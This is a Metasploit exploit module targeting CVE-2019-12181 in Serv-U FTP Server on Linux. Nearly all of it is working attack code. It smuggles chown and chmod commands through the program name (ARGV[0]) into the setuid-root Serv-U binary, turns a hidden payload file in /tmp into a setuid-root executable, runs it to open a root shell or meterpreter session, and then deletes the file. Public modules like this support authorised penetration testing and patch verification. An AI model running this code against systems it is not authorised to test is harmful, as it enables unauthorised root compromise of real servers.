Serv-U FTP Server - prepareinstallation Privilege Escalation (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Serv-U FTP Server prepareinstallation Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on systems running
        Serv-U FTP Server versions prior to 15.1.7.

        The `Serv-U` executable is setuid `root`, and uses `ARGV[0]`
        in a call to `system()`, without validation, when invoked with
        the `-prepareinstallation` flag, resulting in command execution
        with root privileges.

        This module has been tested successfully on Serv-U FTP Server
        version 15.1.6 (x64) on Debian 9.6 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Guy Levin', # @va_start - Discovery and exploit
          'bcoles'     # Metasploit
        ],
      'DisclosureDate' => '2019-06-05',
      'References'     =>
        [
          ['CVE', '2019-12181'],
          ['EDB', '47009'],
          ['PACKETSTORM', '153333'],
          ['URL', 'https://github.com/guywhataguy/CVE-2019-12181'],
          ['URL', 'https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181'],
          ['URL', 'https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html'],
          ['URL', 'https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm'],
          ['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems']
        ],
      'Platform'       => ['linux'],
      'Arch'           =>
        [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [['Auto', {}]],
      'DefaultOptions' =>
        {
          'PrependSetresuid' => true,
          'PrependSetresgid' => true,
          'PrependFork'      => true,
          'WfsDelay'         => 30
        },
      'DefaultTarget'  => 0))
    register_options [
      OptString.new('SERVU_PATH', [true, 'Path to Serv-U executable', '/usr/local/Serv-U/Serv-U'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def servu_path
    datastore['SERVU_PATH']
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def check
    unless command_exists? 'bash'
      vprint_error 'bash shell is not available'
      return CheckCode::Safe
    end
    vprint_good 'bash shell is available'

    unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'
      vprint_error "#{servu_path} is not executable"
      return CheckCode::Safe
    end
    vprint_good "#{servu_path} is executable"

    unless setuid? servu_path
      vprint_error "#{servu_path} is not setuid"
      return CheckCode::Safe
    end
    vprint_good "#{servu_path} is setuid"

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    if nosuid? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
    end

    payload_name = ".#{rand_text_alphanumeric 10..15}"
    @payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx @payload_path, generate_payload_exe

    argv0 = %Q{\\";chown root #{@payload_path};chmod u+s #{@payload_path};chmod +x #{@payload_path}\\"}
    cmd = %Q{bash -c 'exec -a "#{argv0}" #{servu_path} -prepareinstallation'}
    vprint_status "Executing command: #{cmd}"
    cmd_exec cmd

    unless setuid? @payload_path
      fail_with Failure::Unknown, 'Failed to set payload setuid root'
    end
    print_good "#{@payload_path} setuid root successfully"

    print_status 'Executing payload...'
    res = cmd_exec "#{@payload_path} &"
    vprint_line res
  end

  def on_new_session(session)
    if session.type.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.fs.file.rm @payload_path
    else
      session.shell_command_token "rm -f '#{@payload_path}'"
    end
  ensure
    super
  end
end